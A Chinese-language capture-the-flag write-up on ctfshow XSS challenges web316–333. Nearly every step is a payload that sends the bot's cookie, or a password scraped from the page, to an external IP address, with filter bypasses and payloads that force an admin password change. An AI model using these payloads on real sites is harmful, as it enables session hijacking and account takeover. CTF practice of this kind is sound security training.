【Web】Ctfshow XSS刷题记录

目录

反射型XSS

①web316

②web317-319

③web320-322

④web323-326

存储型XSS

①web327

②web328

③web329

④web330

⑤web331

⑥web332-333


反射型XSS

①web316

直接输入<script>alert(1)</script>,能弹窗。xss题目一般会有个bot,可以触发你的xss代码。如果直接获取cookie只能拿到自己的,这里提示要拿到admin的。

payload:

复制代码
<script>window.open("http://124.222.136.33:1337/"+document.cookie)</script>

②web317-319

script被过滤了,无法弹出1,此时换标签进行尝试

payload:

复制代码
<body onload="window.open('http://124.222.136.33:1337/'+document.cookie)"></body>

③web320-322

过滤了空格,用/**/来替代

payload:

复制代码
<body/**/onload="window.open('http://124.222.136.33:1337/'+document.cookie)"></body>

④web323-326

过滤了iframe

payload:

复制代码
<body/**/onload="window.open('http://124.222.136.33:1337/'+document.cookie)"></body>

存储型XSS

①web327

payload:

复制代码
<body/**/onload="window.open('http://124.222.136.33:1337/'+document.cookie)"></body>

②web328

payload:

复制代码
<script>window.open("http://124.222.136.33:1337/"+document.cookie)</script>

管理员才能查看用户名和密码,如果我们在注册的时候写入xss的payload,就会在用户管理界面执行我们的xss代码,从而获得admin的payload

拿到admin的cookie

改一下cookie看到flag

③web329

这里的是管理员在点击过js后立马登出,它的cookie一直是无效的,我们这里获取的话可以去获取它的用户名和密码

密码在layui-table-cell laytable-cell-1-0-1类中,可以用getElementsByClassName来获取

payload:

复制代码
<script>window.open('http://124.222.136.33:1337/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

④web330

发现多了一个修改密码的界面

先自己随便注册登陆再修改密码抓包看看

确定payload:

复制代码
<script>window.location.href='http://127.0.0.1/api/change.php?p=admin';</script>

直接用admin admin登录,下面就可以为所欲为了

⑤web331

修改密码抓个包发现是以post方法提交

这里用Ajax提交post请求

payload:

复制代码
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'admin'}});</script>

用admin admin登录即可

⑥web332-333

这俩题是支付逻辑漏洞,这里不多赘述

相关推荐
前端不太难4 小时前
从 Navigation State 反推架构腐化
前端·架构·react
wanhengidc5 小时前
云手机的适配性怎么样?
运维·服务器·安全·智能手机·云计算
前端程序猿之路5 小时前
Next.js 入门指南 - 从 Vue 角度的理解
前端·vue.js·语言模型·ai编程·入门·next.js·deepseek
大布布将军5 小时前
⚡️ 深入数据之海:SQL 基础与 ORM 的应用
前端·数据库·经验分享·sql·程序人生·面试·改行学it
锦瑟弦音5 小时前
微信小游戏分包(cocos自带分包)
笔记·游戏
川贝枇杷膏cbppg5 小时前
Redis 的 RDB 持久化
前端·redis·bootstrap
D_C_tyu6 小时前
Vue3 + Element Plus | el-table 表格获取排序后的数据
javascript·vue.js·elementui
JIngJaneIL6 小时前
基于java+ vue农产投入线上管理系统(源码+数据库+文档)
java·开发语言·前端·数据库·vue.js·spring boot
找方案6 小时前
我的 all-in-rag 学习笔记:文本分块 ——RAG 系统的 “信息切菜术“
人工智能·笔记·all-in-rag
HXR_plume6 小时前
【Web信息处理与应用课程笔记1】网页排序(上)
笔记